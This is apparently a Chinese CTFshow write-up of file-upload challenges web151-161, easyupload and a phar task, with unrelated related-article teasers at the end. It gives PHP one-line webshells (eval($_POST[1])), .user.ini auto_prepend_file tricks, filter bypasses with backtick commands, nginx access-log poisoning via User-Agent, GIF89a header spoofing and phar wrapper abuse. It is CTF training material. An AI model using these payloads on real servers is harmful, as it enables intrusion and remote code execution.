ctfshow-文件上传-151-161

CTFshow文件上传

PHP文件上传:1、代码思路

黑名单是设置不能通过的用户,黑名单以外的用户都能通过。

phtml、pht、php3、php4、php5后缀都会按做php文件执行,且不在黑名单内。

2、绕过

找漏网之鱼:cer、php3、php4、phtml等。

大小写绕过:AsP、PhP

双写绕过:.pphphp

上传文件后,在后缀加上123.php可以执行刚刚上传的文件

web151:首先上传一个文件,发现不行,要求是图片格式,我们可以直接查看源代码修改一下上传文件的格式就行,把png那一部分删除掉,并且把文件类型改为file

web153: 在BP那边进行发包,上传.user.ini 写入 auto_prepend_file=1.txt
上传1.txt 写入一句话木马{<?php eval($_POST[1]);?>} 打开url+/upload/
Post data: 1=system('tac ../flag.php');

web154:在BP那边进行发包,上传.user.ini 写入 auto_prepend_file=1.txt
上传1.txt 写入一句话木马{<?=eval($_POST[1]);?>} 打开url+/upload/
Post data: 1=system('tac ../flag.php'); 或者打开蚁剑进行连接寻找目录

web155:payload和上题一样

web156:写入一句话木马的时候报错,使用排除法发现是POST[1]这边会错误,所以把[]改为{}就可以了

web157:写入一句话木马的时候会报错。使用排除法发现是分号不可用,POST[1]也不可以用,所以我们使用<?=eval(array_pop($_POST))?>,这个函数来执行一句话木马

web158:payload与157一样

web159:过滤了括号,分号,中括号大括号;但是我们可以直接把1.txt的内容改为<?=`tac /var/www/html/flag.p??`?>,直接进行绕过,使用<?=`tac f*`?>不知道为什么不可以,但是WP那边可以

web160:刚开始和之前的步骤还是一模一样,先打开F12改一下源码,把文件类型改为文件

然后打开BP开始抓

修改文件内容。名字和类型还有内容都要修改,

文件类型改为:image/png.

文件内容改为:auto_prepend_file=1.txt

文件名字改为:.user.ini

上传后再上传一个1.txt文件,文件内容为

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

这样就可以查看日志文件了,然后在upload界面添加User-Agent头文件内容为一句话木马<php eval($_POST[1]);>,然后用蚁剑连接一下这个服务器,找到flag.php就可以找到flag了

web161:发现怎么传都显示错误,后面发现是文件头那边需要改为GIF89a才可以绕过,伪造图片文件头 GIF89a,

其余部分与上方一致

攻防世界:easyupload

这道题目试了很久很久,我直接上传文件也传不了,有时候提示说你的文件很危险,我们提交一下GIF89a,然后就可以消除这个,还有一个说文件类很危险,我排除出来是<?php eval($_POST[1])?>有问题,所以我们就应该把一句话木马改一下

拓展:

auto_prepend_file的用法:

auto_prepend_file可以让所有的php文件自动的包含某个文件。什么意思?

例如在.user.ini文件中写入

auto_prepend_file=a.jpg

然后在a.jpg中写入一个一句话代码

<?=eval($_REQUEST['cmd']);?>

那么和.user.ini和a.jpg同一目录下的所有php文件都会包含a.jpg文件。

将写好的.user.ini文件上传,修改content-type为图片格式

和上面的题目没什么区别,只是一句话木马那边有区别。

最后蚁剑拿下,这边一定要找到上传点在哪里,然后再去用蚁剑链接,要不然是不行的

phar伪协议读取文件上传

这道题目只能上传压缩包和图片格式

我们把php文件压缩成zip格式

发现上传成功,这时候我们需要将bingdundun用phar伪协议读取里面的3.php文件,然后POST:1=phpinfo()看看有没有上传成功

之后通过蚁剑进行连接就可以了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/899291.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

react 基础学习笔记

1.react 语法 ①数据渲染 函数组件将HTML结构直接写在函数的返回值中 JSX只能有一个根元素 JSX插值写法 插值可以使用的位置 1.标签内容&#xff1b; 2.标签属性 JSX 条件渲染&#xff1a;三目运算符&#xff1b; JSX根据数据进行列表渲染&#xff1a;map()方法&#x…

elementUI进度条el-progress不显示白色

效果图 通过设置百分比为100,动态修改进度条的宽度完成 <template><div class"myProgressBox"><div class"index">{{ index }}</div><div class"typeTitle">{{ typeTitle }}</div><div class"twoP…

Java求最大值 C语言局部变量 全局变量

1. public static void main(String[] args) {int[] arr {25, 24, 12, 98, 36, 45};int max arr[0];//不能写0for (int i 1; i < arr.length; i) {if (arr[i] > max) {max arr[i];}}System.out.println(max);} }//循环为零&#xff0c;降低效率&#xff08;就是自己…

autMan框架对接Kook机器人

一、创建kook机器人 KOOK 二、获取机器人token 三、填写autMan参数并重启 四、将机器人加入服务器 五、效果图 回复

技术成神之路:设计模式(二十二)命令模式

介绍 命令模式&#xff08;Command Pattern&#xff09;是一种行为设计模式&#xff0c;允许将请求&#xff08;命令&#xff09;封装为对象&#xff0c;从而使您可以使用不同的请求、队列或记录请求日志&#xff0c;以及支持可撤销操作。 1. 定义 命令模式将一个请求封装为一个…

Qt中使用线程之QRunnable

1、自定义1个子类继承自QRunnable 2、重写run方法&#xff0c;编写子线程的业务逻辑 3、使用QThreadPool的全局方法来开启这个线程 4、线程的回收不需要关注&#xff0c;由QThreadPool处理 5、缺点&#xff1a;无法使用信号槽机制 6、适合一些不需要和主线程通信的耗时的任…

JVM 加载 class 文件的原理机制

JVM 加载 class 文件的原理机制 JVM&#xff08;Java虚拟机&#xff09;是一个可以执行Java字节码的虚拟机。它负责执行Java应用程序和应用程序的扩展&#xff0c;如Java库和框架。 文章目录 JVM 加载 class 文件的原理机制1. JVM1.1 类加载器1.2 魔数1.3 元空间 2. 类加载2.1 …

一篇文章快速认识 YOLO11 | 目标检测 | 模型训练 | 自定义数据集

本文分享YOLO11的目标检测&#xff0c;主要内容是自定义数据集、数据标注、标签格式转换、模型训练、模型推理等。 目录 1、数据标注 2、Labelme的json转为YOLO的txt 3、配置YOLO11代码工程 4、数据集yaml配置文件 5、YOLO11模型结构配置文件 6、编写训练代码 7、开始训…

基于neo4j旅游领域智能问答与图片展示系统

如果你正在苦恼选什么项目做毕业设计&#xff0c;或者对旅游、人工智能、数据可视化感兴趣&#xff0c;那么千万别错过这款基于Neo4j的互联网智能问答与旅游图片展示系统&#xff01;&#x1f60e;它不仅实用&#xff0c;还拥有丰富的数据资源&#xff0c;技术亮点也是满满的。…

【数据结构】快速排序(三种实现方式)

目录 一、基本思想 二、动图演示&#xff08;hoare版&#xff09; 三、思路分析&#xff08;图文&#xff09; 四、代码实现&#xff08;hoare版&#xff09; 五、易错提醒 六、相遇场景分析 6.1 ❥ 相遇位置一定比key要小的原因 6.2 ❥ 右边为key&#xff0c;左边先走 …

简单的windows java -jar 无法启动jar包解决方法

简单的windows java -jar 无法启动jar包解决方法 1. 问题 我们项目是使用nacos作为注册中心以及配置中心&#xff0c;我们本地使用idea 进行服务配置以及启动发现没有问题&#xff0c;然后我们的服务经过maven install 打包后发布到LINUX服务启动也没有问题&#xff0c;但是我…

三种单例实现

1、不继承Mono的单例 实现 使用 注&#xff1a; 使用需要继承BaseManager 泛型填写自己本身 需要实现无参构造函数 2、挂载式的Mono单例 实现 使用 注&#xff1a; 使用需要继承SingletonMono 泛型填写自己本身 需要挂载在unity引擎面板 3、不用挂载式的单例 实现 使…

Matlab学习01-矩阵

目录 一&#xff0c;矩阵的创建 1&#xff0c;直接输入法创建矩阵 2&#xff0c;利用M文件创建矩阵 3&#xff0c;利用其它文本编辑器创建矩阵 二&#xff0c;矩阵的拼接 1&#xff0c;基本拼接 1&#xff09; 水平方向的拼接 2&#xff09;垂直方向的拼接 3&#xf…

无人机之自主降落系统篇

一、定义与功能 无人机自主降落系统是指无人机在无需人工干预的情况下&#xff0c;按照预先设定好的程序或基于实时感知的环境信息&#xff0c;自主完成降落过程的技术系统。该系统能够确保无人机在完成任务后安全、准确地降落到指定位置。 二、系统组成 无人机自主降落系统主…

C#中的LINQ之美:优雅的数据查询与操作

LINQ&#xff08;Language Integrated Query&#xff0c;语言集成查询&#xff09;是C#中一个强大的工具&#xff0c;它将查询功能直接融入到语言中&#xff0c;使开发者能够以一种更直观、更接近自然语言的方式来操作数据。LINQ不仅能极大地提高开发效率&#xff0c;而且让代码…

一款好用的搜索软件——everthing(搜索比文件资源管理器快)

everthing官网链接 在官网选择下载 1.下载后双击打开 2.点击OK&#xff08;需要其他语言自己选择&#xff09; 3.选择安装位置&#xff08;路径最好别带中文和空格&#xff09; 继续点击下一步 4. 点击下一步 5.继续点击安装 6.然后就完成了 7.点击打开然后就可以搜索了

论文速读:基于 YOLO 目标检测的无源域自适应(ECCV2024)

原文标题&#xff1a;Source-Free Domain Adaptation for YOLO Object Detection 中文标题&#xff1a;基于 YOLO 目标检测的无源域自适应 论文地址&#xff1a; https://arxiv.org/abs/2409.16538 代码地址&#xff1a; https://github.com/vs-cv/sf-yolo 1、Abstract 无源域自…

接口测试 —— Postman 变量了解一下!

Postman变量是在Postman工具中使用的一种特殊功能&#xff0c;用于存储和管理动态数据。它们可以用于在请求的不同部分、环境或集合之间共享和重复使用值。 Postman变量有以下几种类型&#xff1a; 1、环境变量&#xff08;Environment Variables&#xff09;: 环境变量是在…

kubernetes中的微服务详解

华子目录 什么是微服务微服务的类型ipvs模式ipvs模式配置方式注意 微服务类型详解ClusterIP类型Services创建后集群DNS提供解析ClusterIP中的特殊模式&#xff1a;headless无头服务 NodePort类型访问过程NodePort默认端口 LoadBalancer类型访问过程metalLBmetalLB功能部署metal…

百度搜索推广和信息流推广的区别,分别适用于什么场景!

信息流推广和搜索广告&#xff0c;不仅仅是百度&#xff0c;是很多平台的两个核心推广方式。 1、搜索广告&#xff1a; 就是基于用户的搜索习惯&#xff0c;更多是用户有疑问、还有用户当下就要做出行动的广告。 比如上门服务、线上咨询服务、招商加盟、了解产品各种型号和信…